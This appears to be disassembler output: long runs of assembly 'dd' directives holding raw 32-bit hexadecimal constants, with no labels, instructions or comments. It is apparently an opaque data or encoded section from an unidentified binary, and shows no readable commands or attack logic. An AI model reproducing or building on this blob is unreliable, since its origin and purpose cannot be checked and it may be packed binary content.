		dd 7F5E98F9h, 8C3C31h, 6F2E789Dh, 26B9C044h, 14A9841Fh
		dd 0F8E723C0h, 79F420h,	916E4B19h, 0C6FF425Eh, 0DBE40E00h
		dd 0DAFB1F16h, 50E6F3h,	6002EDF6h, 66F12ED4h, 25420500h
		dd 21FC899Ch, 0BB90776h, 0D3AE263Dh, 52C844ECh,	46005DD9h
		dd 74580649h, 251577Ch,	17D22B87h, 33E01BE1h, 7100538Fh
		dd 0DFE79D36h, 0EE07EE6Eh, 0EDB30716h, 6064EF56h, 0E9FB3DCEh
		dd 1BB280Fh, 1F6A0013h,	0C90F85h, 3E6E5329h, 0B3A4A9BEh
		dd 1A60D802h, 804A9702h, 0F42308E8h, 385A00BCh,	0DF2AA924h
		dd 79389957h, 367D094Eh, 84C980E0h, 15427BAh, 2ABE812Fh
		dd 0F0E985E5h, 30005BB7h, 0A3AE91F1h, 9C7B86h, 275319D2h
		dd 0FE4FABE9h, 0C12DBA00h, 124DA58Ah, 51E30045h, 0C9A296F5h
		dd 6926E967h, 9800E9F9h, 25524B5Ah, 0A3DA00A9h,	1EEFD184h
		dd 0B1F6AECCh, 299B7F00h, 14362DFAh, 0F57600CDh, 6B1D3B87h
		dd 3000214Bh, 70EF93E7h, 4AF9924h, 0B1A2535Fh, 0E68C8006h
		dd 9600AA5Ch, 97320E2h,	57677Bh, 0C3D22330h, 0B243B3C9h
		dd 36547A00h, 68D95978h, 4F62001Dh, 977B4665h, 0C200FC99h
		dd 4B63E8ACh, 649C02h, 0F6EC983h, 0B07AAA3Eh, 0BA24D600h
		dd 0C4F19A99h, 56E4ECh,	981B0237h, 0CA5C5810h, 1A7D5A0Fh
		dd 319920FEh, 54883704h, 0D0C84Eh, 0A2242C6Bh, 0FD515C5Fh
		dd 9F8FA600h, 653BB0C1h, 0D82B501Fh, 0DFE2004Ch, 970E74AFh
		dd 22004D64h, 171D0CC1h, 74D9F9EBh, 6385BFE6h, 0EFC801DBh
		dd 4EE311h, 44B07A9h, 209968Eh,	0AAB480B3h, 8F02E16Ch
		dd 0FDF9E7F8h, 81B04020h, 955B0055h, 99B7B66Ah,	7E3B71C9h
		dd 88D90026h, 0FFDC20FAh, 35D801CBh, 0C4335021h, 0E7D0CC07h
		dd 37007477h, 16EF447Fh, 4AB18AEh, 4982C012h, 787F801Ah
		dd 2E031C93h, 61F5117Ah, 57BEC0E1h, 0B4C61369h,	96B04009h
		dd 0BF284252h, 1B110C00h, 446259EFh, 3950001Dh,	0FB10A89Bh
		dd 0FE00D9B3h, 0E471A585h, 0A74F6Ch, 0CCAFB412h, 7BA38244h
		dd 51EA2200h, 98F1A82Bh, 0D42F3893h, 2E5D1A00h,	4C8A4229h
		dd 67611200h, 30A59708h, 325307C6h, 0B033390Fh,	13BD5E26h
		dd 50B0A23Dh, 7D003FD8h, 0E24E86Ch, 60259B32h, 0B04A28BCh
		dd 0A2F68B59h, 813770Fh, 653E614Ch, 4D305ADDh, 81B40036h
		dd 3B5011Eh, 22B8BDD7h,	0D9B83500h, 0F8AB3A4Ch,	0E2CD0079h
		dd 0E3862D77h, 1D008742h, 0C6F141BCh, 0C0D182h,	33A8B2F5h
		dd 77BFDAF4h, 721F2C00h, 7955D3C5h, 26660018h, 0B8071D03h
		dd 832EBD05h, 0B400B9F4h, 908DD4D9h, 743E00B5h,	64F2F68Eh
		dd 170CE7F1h, 0E07006E8h, 65730018h, 940BD569h,	2F1D3A56h
		dd 28C74947h, 3060ADF3h, 34A4ACh, 3C65944Ah, 0F47AAF71h
		dd 44D9F500h, 7E206FC7h, 339F0222h, 394C7416h, 0B9F74840h
		dd 444FBB21h, 0EE04D08Ah, 2303032Dh, 9A8DDD82h,	0B0C5B3C0h
		dd 122B62h, 48BD4737h, 0F5B42710h, 3020A600h, 31C96F2h
		dd 2BFA86h, 0FD6011B5h,	89352A23h, 0E4A29A00h, 1FBB50CEh
		dd 777230h, 0EF5B8DB0h,	712E3D9Dh, 0DE8BC1Dh, 4554DC1h
		dd 5D305F6Ah, 4C7AECA3h, 6200045Eh, 7629A6FAh, 4B003BEDh
		dd 0D0E6A4F1h, 2A9037h,	92A912E1h, 4AD8856Dh, 0DE208800h
		dd 7F16C1C6h, 0B22E0EAEh, 59211110h, 53509DD3h,	8F8CCB4h
		dd 6B00A968h, 2F918B9h,	54CFB38Bh, 0D7B864h, 0AE48A0F0h
		dd 7A7093DBh, 0D860833Eh, 0B200096h, 0C0D5F763h, 92EC0552h
		dd 2E1CBC9h, 0E70DD3B4h, 9140FC45h, 0B2C867h, 6346B1D0h
		dd 872E0F18h, 2A9FD500h, 65FB1701h, 885C0089h, 790CFFEAh
		dd 130006A8h, 4B164DDCh, 47EB10h, 0A7583964h, 734687E6h
		dd 9A7D2B00h, 0A15E9C3Eh, 0CA4C0028h, 6B891B99h, 360E5280h
		dd 0AF8611D1h, 540D80E1h, 0CE1784h, 876F6AE3h, 0B697301Bh
		dd 1D69A301h, 0B4107DAAh, 6BA8C8h, 0BB6E2BBDh, 1AD50430h
		dd 0D8266300h, 857D2D68h, 7CE90087h, 0DDE36A9Ah, 92009755h
		dd 1B3FEDEh, 0FBD1C4h, 1CCA75AFh, 84741358h, 0B95B2100h
		dd 0A599C724h, 0ADA31F87h, 7F6801B2h, 0F39E3FB6h, 0B958097h
		dd 8A72CEAFh, 0B9020494h, 604F18ACh, 7BF88CAh, 0E3747112h
		dd 7FCF75h, 97B672C9h, 9D01FC06h, 0F55FA6F4h, 806001A9h
		dd 0BE492C95h, 0E53C00E8h, 3641DFAFh, 0C07C5Ch,	38407E3Bh
		dd 8EE0C5h, 0D62F862Ah,	0FD9EBD29h, 6FFB4500h, 0EF1D469Bh
		dd 0FB60BFC8h, 6300BF22h, 4191A1DDh, 0E96ED9Eh,	819806CCh
		dd 0F99261A0h, 1300DF99h, 0E833BCD1h, 1D4A82E7h, 4BB0ECB8h
		dd 928027CCh, 81D9CFA1h, 0F6D3Ch, 0D5C26442h, 245B1h, 0A80DE48Ch
		dd 2671A603h, 9308EB00h, 9C65532Bh, 0E1801CCBh,	2317D7D8h
		dd 81ACAB30h, 30A5D967h, 0C6006DECh, 70371B78h,	15E813h
		dd 61F0E149h, 14A7F24Fh, 8167B928h, 0A6B77217h,	185C0Fh
		dd 0E020764Ah
		dd 6B30E6Bh, 3267D61Fh,	0F260FEDDh, 0BF7B7374h,	0C22B4D00h
		dd 9FDFFC35h, 6DBC00E6h, 9479AED2h, 5EFA819Dh, 0CD5D1B12h
		dd 5649E480h, 7A100309h, 722A51D0h, 6EB03DA0h, 2B9A0C0Fh
		dd 5D0D5ECAh, 6AE030AAh, 795316D0h, 0C6403ADh, 0D0F7314Dh
		dd 661AB7A3h, 60F34707h, 81C04EE2h, 0F82083AFh,	3DF10C1Eh
		dd 87308237h, 0B3B2D00h, 0A7932A3Eh, 1A9600B2h,	62C878FAh
		dd 0A300C9CBh, 43D9F31Fh, 1347D0Ch, 9D643515h, 503EE0D4h
		dd 22B273A4h, 38627E00h, 0AC2EBC20h, 182DEE33h,	0E1C2601Ah
		dd 0E9022331h, 1B4435EEh, 490C8363h, 6AF820E4h,	572D8A01h
		dd 1664A8A2h, 4BFECh, 0C99DEABCh, 0DF07ACE7h, 0FDB9FA00h
		dd 41AA91B0h, 1D19F0C3h, 269ADA43h, 2DE5003Dh, 51389328h
		dd 148C4500h, 0A3A68024h, 5BFF016h, 219DB098h, 0F86980EEh
		dd 0DD0BAC56h, 80075A97h, 5BB09E88h, 706B07FFh,	216D7D80h
		dd 0C45E82A7h, 430017CBh, 0E3464023h, 5CB578h, 1B47B7A6h
		dd 622DF73Ch, 0F002074h, 15A9410Bh, 26CB5183h, 8EC0F6h
		dd 0B35F0CE3h, 0A0057AD1h, 0B6109F81h, 4EBCA445h, 0A111B901h
		dd 34D4F514h, 17910598h, 1332574h, 0D9022EAh, 8F8DD005h
		dd 0CEA73506h, 408FE5Eh, 0D3ECA246h, 0E0D987FDh, 0DB2ECB80h
		dd 0A4189600h, 269DDD62h, 0B67809F3h, 20C8E5F5h, 8A056C21h
		dd 87E29B1Bh, 0DFC0F7C4h, 0E6658C64h, 9C2E07AFh, 80F08169h
		dd 0E14C6158h, 942CFDE8h, 3B1D0E1Ah, 3F15983Bh,	79DDC9h
		dd 83586F32h, 0B58F9CC4h, 3B034200h, 0A79D2CD2h, 0A4FC09h
		dd 0D7CB0A1h, 4E7F120Bh, 0CFC44800h, 279CB874h,	17A1C9CAh
		dd 7DD53410h, 48AB3200h, 304F2621h, 0A231C0C3h,	95FB2722h
		dd 0B6259204h, 8CD0908Eh, 0CE8816FCh, 15A09941h, 233648BAh
		dd 9CF5F900h, 6172B4BBh, 8FA7006Bh, 47ACE1D0h, 2500A834h
		dd 151B6D46h, 777804F9h, 6E86006Ch, 0CBC4224Ch,	111F48B0h
		dd 46003D30h, 7A4D76B5h, 103C6273h, 497338Eh, 382311E1h
		dd 0B2961080h, 4F7428BBh, 86021507h, 90C0F54Ch,	0F10AA8Dh
		dd 0F224524Bh, 29810346h, 50E144h, 0D5FBDACEh, 85FD4A41h
		dd 16B9A800h, 6C838421h, 171B0B67h, 0DB008835h,	0B9FE099Ch
		dd 2920F300h, 77C7CE69h, 579D00DCh, 5805389h, 0F298DDA3h
		dd 6ADAFE00h, 2054E0D2h, 0ABB20964h, 0CA007929h, 4F1BA814h
		dd 34263F01h, 0B7EAEEAEh, 0F3E1F0h, 0A7E99886h,	189D6BFBh
		dd 0CAE40800h, 0A59BBC80h, 1D010191h, 0B6DF12E2h, 8D3D20EFh
		dd 0FA78627Bh, 0F80EE809h, 0CDE600D5h, 0CAD2Bh,	0F78C856Ch
		dd 694E266h, 7A00D27Ah,	0D1EB1EA5h, 0DDB1FCh, 0F7693C16h
		dd 0C2193457h, 0B7F93A00h, 4215B4F5h, 0CCECA02Dh, 0DA0F03FCh
		dd 0E163B613h, 0EEFAFF98h, 0DF92C700h, 0EF9F95A8h, 887000F9h
		dd 1B648E37h, 8338B7F6h, 6C6C335Bh, 0B980A4F1h,	0E534C59h
		dd 1CA0479Ah, 0F39028E0h, 0DD0312AFh, 6E8E6706h, 0F1B0FFC4h
		dd 35F5D05h, 0BACD547Bh, 60C87D26h, 7300AD04h, 0DD528921h
		dd 3CF7E680h, 6D000944h, 0A1A09F30h, 2D00F963h,	1DB5535Bh
		dd 19737Fh, 6C122395h, 0E7C7FCF8h, 3A777403h, 1628F45Dh
		dd 0F922E9h, 0F8A25B8Dh, 0C800CB97h, 31F204AAh,	5E85DDh
		dd 0B5DB903Eh, 4D355567h, 0E9951E00h, 0BC598E04h, 8FDA0062h
		dd 82A927E8h, 990E1831h, 14AC4966h, 0D7FA7A9Fh,	0D033D31Dh
		dd 28C6803Bh, 0E360243Ah, 5EE03E7h, 6F34287h, 0DCB18F98h
		dd 5771DF05h, 81C7B3E0h, 0A47025A1h, 1124AF4h, 11DFDD4Dh
		dd 0E0380D51h, 36009433h, 2AE67A2Dh, 1EF9750h, 5CB47201h
		dd 0D4DD7F3Dh, 0A6000918h, 43A58E41h, 0D13003h,	80EDB2EFh
		dd 0B1902BFDh, 6BE73F00h, 0F5CA87F7h, 0BBDE0021h, 348E1CA6h
		dd 7E00C9E3h, 93F4A25Dh, 0FAB2C8D7h, 0AB940377h, 96056F1Fh
		dd 0C4610DE8h, 41760300h, 3D6D9D1Dh, 0DCFF00ABh, 0BA6B152h
		dd 0DB0075EEh, 8F4BC1E3h, 30240FDh, 5329E6D4h, 1890E5C6h
		dd 5AF47E86h, 0A7E49800h, 3290D7DEh, 3C3B488Ah,	37C12Ch
		dd 9430F99Ah, 690F6F6Eh, 207438D2h, 98DD27E5h, 85DF5055h
		dd 1B4500AAh, 0DB0702A9h, 0BC269A3Ah, 3D002034h, 4ADFE9B4h
		dd 25731F3Fh, 8A4C40C9h, 22C4AB55h, 496FEE01h, 0B1978806h
		dd 0EB4260h, 0E0BF79BAh, 0E49D5076h, 0AC00E090h, 0CD7EC827h
		dd 0ADDDE7h, 32E2F74Eh,	0BCA3B3DFh, 4905EB76h, 0FC069E7Fh
		dd 833C004h, 81340881h,	0ED7DCF8h, 73A63A59h, 801819E4h
		dd 4C026AB0h, 5684900h,	7535F882h, 0C5B10008h, 1577393h
		dd 0F31C6D76h, 8D42C23Bh, 68521B7Ah, 0EC5D94h, 6A3E6EEAh
		dd 0AD389AA9h, 0CBA1FE00h, 0C969DC0Eh, 2223002Ch, 82340C46h
		dd 7F3B4A0Ah, 1E2986Fh,	9E91F0h, 0FAEB6040h, 9CDD0508h
		dd 0A2C0617Bh, 26AF2B49h, 0CE4F003Ah, 993B9B55h, 1D0080F2h
		dd 426224D5h, 9B2DD5Ch,	0A9E5815Eh, 0B1F65D01h,	20FFE59Fh
		dd 0CA00ACD1h, 4B82B215h, 6DABB3h, 711C9B92h, 7A1701FAh
		dd 58DACD00h, 54D2D981h, 738D0056h, 0D8C3B490h,	0C801A895h
		dd 0FBDECA9Fh, 97606CA7h, 78BD7E81h, 94F4E0h, 906F5EAFh
		dd 1747B909h, 80DF403Dh, 4C0D3FEDh, 363FCDDh, 1141C19Fh
		dd 0C38862F8h, 720BE992h, 1F7D69h, 0C57AC94h, 0CF6D0099h
		dd 2E93BF76h, 0D214534Fh, 0E41837h, 913E4534h, 1D8D15BDh
		dd 80ACAE87h, 66009CBh,	0F0EF0A0h, 404FF855h, 0E2AE42D2h
		dd 841009BDh, 55802A1Dh, 0FC29E3CBh, 15140C1Dh,	0FDB8F4Bh
		dd 0DF73EE24h, 98990EE0h, 0F32ECCA5h, 3AD4CEA0h, 0F10059FEh
		dd 0FD48FC81h, 1E89A79h, 514797EBh, 20622ED3h, 9B00938Ah
		dd 0ED425039h, 2E0A7E9Ch, 1DCFDh, 88026C79h, 0FC0033D7h
		dd 0F8B107C2h, 0E79B99h, 8A8EEF9h, 48CD5C34h, 0C90ED200h
		dd 25187F62h, 59B303C3h, 0F884CF70h, 0FD10FCA8h, 7B344E03h
		dd 0B0BA40E4h, 7CE0DFh,	0BEEB4CF5h, 229A0113h, 23495B02h
		dd 4051CA32h, 0F27554h,	39BB5D12h, 0EEE2DDD2h, 76338309h
		dd 3EF4001Ch, 0F73CD86h, 6AA40196h, 8AFE6200h, 809876B0h
		dd 0E2053906h, 71133AEh, 50554365h, 0C504D096h,	9F07BFC4h
		dd 3ECE7F30h, 0A3160230h, 0F67595h, 13C3E9ECh, 0D2CC513Fh
		dd 0C401D90Eh, 199467FDh, 0C01F175Eh, 804FE349h, 0BD9C1360h
		dd 0E416005Fh, 1EDAD814h, 4F4512Eh, 3E023A00h, 4379F7F1h
		dd 0FAAD047Eh, 90217D6Ch, 87C347C8h, 74E8F11Dh,	86BACA80h
		dd 0D37D70h, 7BDD91DEh,	469BC51Ah, 0AEFD9200h, 6B552B65h
		dd 0EC624CA2h, 9A3B7F00h, 4E762AD2h, 0DA6A1502h, 6873FE0Ah
		dd 6C33E8h, 71A0E6E3h, 3088F12Ah, 0AEDA5D02h, 816A9945h
		dd 2A0DB644h, 0EAABA474h, 0B0C90281h, 8AF5807Ah, 1AB184C8h
		dd 0CB0064F8h, 0C8E91F71h, 926F16h, 8BB772F8h, 13ECF5CDh
		dd 356BAA07h, 804FAB5Eh, 63BB3673h, 5AC60029h, 1255D420h
		dd 4A2550B4h, 0EF080072h, 80298EC3h, 20C02DD4h,	8FCF55E0h
		dd 0B91E00DFh, 84996F78h, 2E006823h, 45223DE7h,	2EC6012h
		dd 58B971F5h, 6CB0DD4Ah, 3500E5A0h, 5D3128F1h, 797718h
		dd 0C0D48C01h, 6514D296h, 8DA1A600h, 42B746AAh,	49AC000Dh
		dd 4E0B6AD1h, 91001362h, 0C4BE343Bh, 3805E5C2h,	0CF00326Eh
		dd 6DAC38D1h, 1800E01Fh, 82248BFBh, 3456010h, 8967FE08h
		dd 86E81A51h, 4F2E0AA4h, 54008533h, 0B4C09D40h,	258B0FFh
		dd 51DE7428h, 5C801649h
		dd 0E606C393h, 5518AE14h, 81033B0h, 76210084h, 201F06C2h
		dd 3601D84Ah, 3054EFBEh, 44C8AA9Eh, 3F76012Dh, 0F8D7AF74h
		dd 0AC19843Bh, 37006E85h, 997088D8h, 0F20FEAF8h, 843ECFCBh
		dd 1C80C9A4h, 3B4D4D3h,	33CE31F7h, 792D321Bh, 1AA54064h
		dd 0C0073F40h, 0B2EDEF00h, 0CE7952C7h, 3F0FB806h, 6313B35h
		dd 0AAA4EE33h, 890C4811h, 2038B30Ah, 0E341128Fh, 0CD542034h
		dd 0DC016A60h, 21176DD4h, 89875ECh, 482C211Ah, 600EAFAh
		dd 623C08EFh, 0C02516E7h, 0A0E57C69h, 0D5022938h, 9BAA89AFh
		dd 0E3EC004Ah, 97024705h, 0B708927Dh, 28408CDCh, 0EE50402Fh
		dd 370070B0h, 8CA75859h, 3892682Ah, 253F297Dh, 0CCEA2300h
		dd 642E3DEDh, 8AD1630h,	338D4Fh, 448643BEh, 0D4922C3Ah
		dd 0A69FC603h, 0C0F86A98h, 1D4F1AD9h, 163EAB8h,	97D06558h
		dd 4E1A3068h, 0C9302EF8h, 8664085Eh, 690F011Bh,	48A5E353h
		dd 5A0F33Ch, 0CB01DBFFh, 676483B3h, 31BD31C6h, 0B91CE207h
		dd 0D4FA90F6h, 16065A37h, 44D1F25Eh, 0EC581BA0h, 3A006907h
		dd 9E59B282h, 0CD8987h,	0B0DA0474h, 1101D74Dh, 6A23A3Ch
		dd 7528FEEh, 0C0E298B0h, 7DB0B848h, 963E04B3h, 0CF690C7Eh
		dd 602E1861h, 0E4CE6050h, 0C103899Ah, 77CD58AEh, 571900DEh
		dd 0A745877Bh, 2F195375h, 4DF93264h, 605F4A11h,	9F2A4D2h
		dd 76334BF0h, 0E5696061h, 879340Ch, 0A768A0EFh,	0FFD6002Fh
		dd 956DC6C3h, 55006504h, 1492EE51h, 31B1E8F5h, 58407323h
		dd 0B739603Ah, 0F94870C0h, 625C09Fh, 0AFA1D116h, 0E0F89852h
		dd 0B8039CABh, 0DB7A31EEh, 45700CC4h, 3BB1480Dh, 8042C1C8h
		dd 388FE7E0h, 10CC1341h, 88502127h, 1401BA07h, 0E8ABD50Ah
		dd 11600357h, 3CF0C6E5h, 0EF30606Ah, 0CC9CD96Eh, 0F41C3B5Bh
		dd 0B97AF301h, 0EDCE6270h, 8051BF35h, 85FD402Fh, 2514FAh
		dd 9413D22Dh, 7809CE7Ah, 1F75BD06h, 3149CCh, 9540B739h
		dd 0D96636A5h, 50830518h, 1D0833E9h, 83CFC365h,	0E89C7D7Ch
		dd 55A99C00h, 1622B429h, 0C52EF04Bh, 31DE1C31h,	80EF36F8h
		dd 0D3C32EC1h, 14252766h, 0BC67178Dh, 4077A787h, 52AE34A3h
		dd 64A0EFF0h, 4052E148h, 59C131B8h, 21815FCCh, 1724D518h
		dd 7D02FC25h, 6CA8D3A0h, 2B36B909h, 0C0100259h,	15DE2164h
		dd 96A99F7Fh, 0EB790B80h, 6AF35EDh, 21A90F4h, 8762999Bh
		dd 22283381h, 648118EFh, 87261715h, 0BFBECE11h,	48223C70h
		dd 8D58A0E9h, 0B7AD24C0h, 800DC5E0h, 8CBB584Ah,	36B6D800h
		dd 397BD346h, 38A1094Dh, 8803D22Bh, 0A914F6C2h,	3C60B269h
		dd 0F4F101C4h, 67D07352h, 9845B450h, 0AF61C03Bh, 37FE2127h
		dd 18D03609h, 86A82E48h, 0D495632h, 0B7B38545h,	266C5031h
		dd 6C28D669h, 3852344Eh, 698844E8h, 10A0BB72h, 2B04C9A8h
		dd 0F0E4AF8Bh, 45858088h, 0B568F04Ch, 68C29374h, 0E05825C4h
		dd 9B59AAh, 85C957E7h, 0CC8DBA10h, 4FAEC8C2h, 0A43080F7h
		dd 19A6BB9h, 0B516DD09h, 92A66CA5h, 4C209B89h, 3927BAh
		dd 0D67756B0h, 67363143h, 0C723C901h, 722CC46Dh, 804050A9h
		dd 0CC123451h, 0D96063BDh, 0C09C32A9h, 848112CEh, 0D2E020C7h
		dd 25014744h, 0D358634Dh, 3180B3A8h, 4E08E8CAh,	0FF019153h
		dd 75213085h, 48FE6DBBh, 78DE9468h, 0FE650FADh,	0D4B43928h
		dd 4449E984h, 24C9E548h, 7432D3F1h, 8CFF1064h, 3F0BF2E4h
		dd 800E6BD9h, 39674B7Bh, 0AB6C00F8h, 8969A64Fh,	78CC6E49h
		dd 847B59B4h, 0AD0FF4Ch, 801CA969h, 62CB5786h, 439B3069h
		dd 87AF729h, 10BA671Dh,	0C82258C0h, 80BCDB2Bh, 6140CC69h
		dd 167C242Eh, 884640A0h, 20782F7h, 0DE52B8Fh, 759ADC1h
		dd 0D1159450h, 0B9C4297Eh, 134511DCh, 590046C0h, 7B3A5B28h
		dd 41CC07D8h, 0DAF3106Bh, 2F4F0854h, 26508B19h,	0ACC7198Dh
		dd 442808C0h, 0ABED9600h, 0AC7A2DB0h, 0C84B007Bh, 5538CC5Dh
		dd 0CB12F4Eh, 7E036B11h, 0DC7A162Ch, 0C94312D0h, 99B83654h
		dd 13F043Ch, 8D185FFDh,	0D83365FCh, 49F68064h, 0CC808358h
		dd 2E17836h, 76D7EDC6h,	0E090C91Fh, 730E08B3h, 0C040853Ch
		dd 0F037E7ADh, 0DDD7012Ch, 0D467710Bh, 634C301Bh, 0F26688h
		dd 0D8749847h, 0D4A741F6h, 0EC503B01h, 0AE9F9B43h, 80FB1601h
		dd 782FC231h, 16D18934h, 3649BEB0h, 0F8C8FEA0h,	9A0E8075h
		dd 1AFD161Ch, 0F4B1B300h, 0E2326E0Bh, 556400C7h, 7582CE6h
		dd 59241E13h, 6965C1Dh,	8057F448h, 0FBA4A7EBh, 137EF525h
		dd 0F71E9F2Eh, 78298300h, 99642231h, 47E088A0h,	248549B4h
		dd 4B552820h, 1CE891FDh, 0D1A930EFh, 890048CBh,	3CC6CE9Ch
		dd 6F8E11ACh, 4A4F2954h, 0B0253A81h, 9009C866h,	4C64A94Ch
		dd 804AC8BCh, 0F195FC92h, 56000985h, 65BA1410h,	0D20E37F8h
		dd 0BB540230h, 0D8CE4E53h, 9C1E4DFEh, 4586A130h, 51941E4h
		dd 858437Dh, 693805B3h,	4540DCC4h, 3146EE32h, 2184416h
		dd 77A5CD0h, 69026E8Dh,	9EF0E5C3h, 7D090006h, 52F9AB91h
		dd 21B6E100h, 0C432C92Dh, 0EA6926ECh, 37564520h, 0C2F2E588h
		dd 0A0C09AA0h, 378B3498h, 8A29CFE0h, 0C38F029Ch, 0CC60A888h
		dd 0B3662457h, 0F31B0A1h, 5F5CC715h, 51D0D95Eh,	1624CEEBh
		dd 7C20C8h, 6FFD4C1Eh, 0AF0CC483h, 8D006AE8h, 76CA0F2Fh
		dd 0A87E8AB3h, 60DE42Ch, 0C37AEC4h, 0FD591088h,	84EF291Ch
		dd 0E499C00h, 78D1705h,	216524F7h, 0DD6374ACh, 0A9F00C04h
		dd 9A751900h, 0E1B19B60h, 6B1A05B9h, 30174A27h,	0EAA9F658h
		dd 19442A14h, 3EB24CDCh, 0DBC08104h, 87A116ACh,	0AE69B086h
		dd 571D916Fh, 6824ABB0h, 9CCC3264h, 88070EBDh, 0E4C3581Ah
		dd 4888C38h, 9A0099E2h,	5967F8C0h, 38C63447h, 0A9812783h
		dd 0C7C8203Fh, 2998C8F9h, 569DCA0Eh, 0C9C0632Eh, 18086CA8h
		dd 9F81A708h, 0AF46298Ch, 20809019h, 314460BFh,	2443C2F9h
		dd 279C4100h, 99AEBE91h, 42B008Bh, 0C2F16590h, 1E00B95Fh
		dd 0EAAF213Bh, 3198C13Dh, 0D17896F5h, 1891BEB5h, 86B810F3h
		dd 536618AAh, 3A9491A9h, 5055BF00h, 9AD1225Eh, 0C1B8C55Ch
		dd 0C94400D6h, 3AE9F1D7h, 760386Fh, 0B4B0A646h,	33C82188h
		dd 5069E3CEh, 271E59B6h, 100E958h, 0BB06F05Eh, 5A690CCCh
		dd 0CB289722h, 8BC1AC89h, 7AEED6C0h, 117D00B9h,	2C6FA6Fh
		dd 14DFA3D7h, 0B1796468h, 0FCC51D03h, 0E68C408Fh, 334418A0h
		dd 0BBAB51C3h, 0C2B94F60h, 5A4D22h, 4A5F7859h, 9AF68474h
		dd 2083D131h, 5983FAEEh, 0DA896EB4h, 96633FC8h,	8D9D1D00h
		dd 9C3387ECh, 0AFA80082h, 3E385D0Eh, 215456Fh, 11D8F20Ah
		dd 0AD004EBAh, 461723CCh, 0A14B5DBh, 4499CA54h,	84A118F0h
		dd 0C3804727h, 1918C72Ah, 0CC4151BBh, 0C4E8012Ch, 0FF24318Fh
		dd 48DDF328h, 80BFC7ACh, 7F69DC72h, 0A2D7374h, 0A0036BB6h
		dd 0FC011494h, 0EBB3F801h, 5229F39Fh, 0EE2257E4h, 152480A2h
		dd 1C0E1891h, 492B7BBh,	92E56E3Dh, 1481C21Ch, 42DF47CAh
		dd 0B6214554h, 5AE883FEh, 2E780241h, 8F6F9005h,	0D6188A0h
		dd 407DC106h, 545031D4h, 0F500451Ch, 21B53214h,	24EA1612h
		dd 30F3F9h, 344E8047h, 3B60DAC2h, 441B9B39h, 3C304803h
		dd 0C1AA5086h, 4B0C2700h, 204A49Bh, 0F218E881h,	883092CFh
		dd 0DD8614h, 2E44BB02h,	0AECA776Ah, 0C438D8C4h,	431CE854h
		dd 8BC64017h, 0D559BD2Dh, 2580D4A9h, 0A0A1EF80h, 3699802Bh
		dd 0DDFC3CADh, 0E2462D67h
		dd 89005E2h, 0F499E17h,	5614800Ch, 3644B66h, 111BE8E1h
		dd 6019203Dh, 0A8D9C7CCh, 8349B010h, 16CA3C00h,	0A5C890B8h
		dd 4C4600B4h, 859536ABh, 0A8A262D9h, 7363F812h,	2F35691Eh
		dd 14EACD40h, 39FAB2D0h, 0F101F21Eh, 22CBDDD9h,	46D19F48h
		dd 0B3134CE6h, 28201023h, 0CCC6C1C1h, 4461EA51h, 3A6C88h
		dd 56829B3Eh, 0D457406Ah, 3DD5D900h, 0F58EDF0Eh, 44230736h
		dd 76F4CFE9h, 4BF2A966h, 0BC1ED091h, 10C70026h,	700B1E00h
		dd 37BF00F8h, 1D4736FCh, 31F46B4Eh, 8894C040h, 0BC00975Ch
		dd 6C05852Ch, 306DA4DEh, 0AAA13CBAh, 0BB05CDA3h, 9B7AF7E4h
		dd 8B91F41Ch, 0D0942Ah,	4273B4C8h, 67D54DB5h, 9866FD19h
		dd 0B31050E8h, 1B39A5DEh, 5D3A9F41h, 0C825CC83h, 0A42872C6h
		dd 14443ADCh, 0DFC0045h, 0F77D22AAh, 0A61A603Fh, 5545C804h
		dd 0B6CA8020h, 9EF90670h, 0E123868Fh, 0E2F0CF44h, 0E6E10E55h
		dd 8C40DDCCh, 468E21C4h, 181CDA59h, 1AD1DE8Fh, 27FF01C8h
		dd 0DA32D130h, 5247C8EBh, 3CD3902Ch, 59A7BD8Ch,	81D26050h
		dd 5814BB8h, 0AA74E907h, 0B133C47h, 6360D01Eh, 97072A13h
		dd 88357570h, 49141C1h,	830343Eh, 0A05064CCh, 1F4DAF08h
		dd 10E2F32h, 4BB6462Ah,	0A72420A3h, 417AE4A6h, 5AC80A2Ch
		dd 4D83FF03h, 0C54922D1h, 401272EAh, 0AC21B512h, 0C04DC4C8h
		dd 26EE2020h, 9974B807h, 10CD41ABh, 0CE6233h, 0EAD69AF7h
		dd 0A9168F03h, 836FB675h, 0E1F1C651h, 23BB1C91h, 7990C3E9h
		dd 0E97CCFC8h, 0C5883810h, 0EAE20078h, 996CAE04h, 504E3CFh
		dd 0A627D3EDh, 59CA6C8Ch, 19D9E83Bh, 64CCE285h,	63800F00h
		dd 0BF9340FAh, 46F244B8h, 0F094DC45h, 501844BDh, 105C19B4h
		dd 48FF4500h, 726EDD21h, 5562048Eh, 0C8C1F2EDh,	3D28D794h
		dd 3620D49Fh, 0E0E93E97h, 749374h, 0CA4F821Ah, 9B0485DAh
		dd 0DD5E8C4Bh, 0BBF308D7h, 0C4290F42h, 0BE806CACh, 0FA1C44B7h
		dd 0A69BF43Dh, 5A40EC6Ah, 1C9EFDB0h, 0A2ADFA3h,	0BFDC7268h
		dd 0CDF1F88Ch, 91EA6DF9h, 8F5D3100h, 813F08ECh,	53340033h
		dd 0E52848DBh, 0A67C4421h, 3D78909Ah, 0E858BF50h, 0A7A0FF00h
		dd 182CB016h, 55650031h, 20A5D0F0h, 25F0DB58h, 88E83D48h
		dd 1697833Ch, 0D5812EC6h, 4CD453BDh, 0D0F840ECh, 2C6A1BBBh
		dd 4220B095h, 0D1009B4Fh, 7924049h, 0E8EF80A4h,	0B9AA5042h
		dd 402F5D3h, 83A7A597h,	0FCF0B8B5h, 54CB0127h, 4FAE9AEFh
		dd 1D8331Eh, 0D5A44F8h,	0B462C5C8h, 0F0D15015h,	6D807D3Eh
		dd 9A85EC31h, 0FD03D7AAh, 57AE9E7Ch, 0FD2309Ch,	0B2BAC9E1h
		dd 233D41C0h, 5859FB12h, 0DB84FC04h, 0EAC94F32h, 8F92C80Eh
		dd 64674C90h, 152A00CCh, 0A5403611h, 0E2021023h, 2FCA8CFEh
		dd 71F02698h, 79449017h, 0A446B434h, 6E515543h,	629214C9h
		dd 0D620E378h, 1DDFCA95h, 0C3BFAD3Fh, 0B90F88FCh, 74830490h
		dd 0A0B32D12h, 82547C40h, 6E9AD69h, 0BA2257ABh,	0DF00C94Dh
		dd 2CE478E1h, 1C209F8Dh, 40565E4Ch, 673C60E2h, 342C9DC3h
		dd 0B14E643Ah, 0BA22404Ch, 0B02E18C8h, 0C8D0C9C9h, 0C0B4C75Dh
		dd 9911932Bh, 30E9018Bh, 813E2FB5h, 0CAA8507Bh,	0C60280FCh
